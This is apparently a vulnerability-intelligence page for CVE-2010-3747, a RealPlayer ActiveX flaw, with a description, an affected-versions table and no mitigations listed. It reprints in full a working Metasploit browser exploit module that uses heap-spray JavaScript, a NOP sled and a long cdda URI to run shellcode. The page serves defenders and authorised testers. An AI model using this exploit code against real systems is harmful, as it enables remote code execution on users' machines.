VIR Vulnerability Intelligence Relay

CVE-2010-3747

critical
Published 2010-10-19 · Modified 2026-04-29
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CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
10.0

Description

An ActiveX control in RealNetworks RealPlayer 11.0 through 11.1, RealPlayer SP 1.0 through 1.1.4, and RealPlayer Enterprise 2.1.2 does not properly initialize an unspecified object component during parsing of a CDDA URI, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized pointer dereference and application crash) via a long URI.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16998 remote windows verified ruby · 3 KB
Metasploit · 2011-03-17

RealNetworks RealPlayer - CDDA URI Initialization (Metasploit)

ruby exploit Source: Exploit-DB 
##
# $Id: realplayer_cdda_uri.rb 12009 2011-03-17 15:42:28Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
			'Description'    => %q{
					This module exploits a initialization flaw within RealPlayer 11/11.1 and 
				RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object 
				initialization failure. However, this failure is improperly handled and 
				uninitialized memory executed.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 
				[
					'bannedit',
					'sinn3r'
				],
			'Version'        => '$Revision: 12009 $',
			'References'     =>
				[
					[ 'CVE', '2010-3747' ],
					[ 'OSVDB', '68673'],
					[ 'BID', '44144' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'],
					[ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'RealPlayer SP 1.0 - 1.1.4 Universal',     { 'Ret' => 0x21212121 } ],
					[ 'RealPlayer 11.0 - 11.1 Universal',        { 'Ret' => 0x21212121 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 15 2010',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		mytarget = target

		# the ret slide gets executed via call [esi+45b]
		retslide = [mytarget.ret].pack('V') * 750
		cdda_uri = "cdda://" +  retslide

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		nops = make_nops(8)
		nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

		# Randomize Javascript variables
		var_blocks    = rand_text_alpha(rand(6)+3)
		var_shellcode = rand_text_alpha(rand(6)+3)
		var_index     = rand_text_alpha(rand(6)+3)
		var_nopsled   = rand_text_alpha(rand(6)+3)
		spray_func    = rand_text_alpha(rand(6)+3)
		obj_id        = rand_text_alpha(rand(6)+3)
		html = <<-EOS
<html>
<head>
<script>
function #{spray_func}() {
	#{var_blocks} = new Array();
	var #{var_shellcode} = unescape("#{shellcode}");
	var #{var_nopsled} = unescape("#{nop_sled}");
	do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
		for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
			#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
	}
#{spray_func}();
</script>
</head>
<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
<param name="CONTROLS" value="ControlPanel">
<param name="src" value="#{cdda_uri}">
</object>
<script language="VBScript">
#{obj_id}.DoPlay
</script>
</html>
EOS
		print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
		send_response(cli, html, { 'Content-Type' => 'text/html' })
	end
end

Metasploit modules

exploit_windows/browser/realplayer_cdda_uri rank 300
RealNetworks RealPlayer CDDA URI Initialization Vulnerability
Source fetch failed: fetch_error — view the original via the link above.

Application impact
VendorProductVersionsFixed
realnetworksrealplayer11.0
realnetworksrealplayer11.0.1
realnetworksrealplayer11.0.2
realnetworksrealplayer11.0.3
realnetworksrealplayer11.0.4
realnetworksrealplayer11.0.5
realnetworksrealplayer11.1
realnetworksrealplayer_sp1.0.0
realnetworksrealplayer_sp1.0.1
realnetworksrealplayer_sp1.0.2
realnetworksrealplayer_sp1.0.5
realnetworksrealplayer_sp1.1
realnetworksrealplayer_sp1.1.1
realnetworksrealplayer_sp1.1.2
realnetworksrealplayer_sp1.1.3
realnetworksrealplayer_sp1.1.4
realnetworksrealplayer2.1.2

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.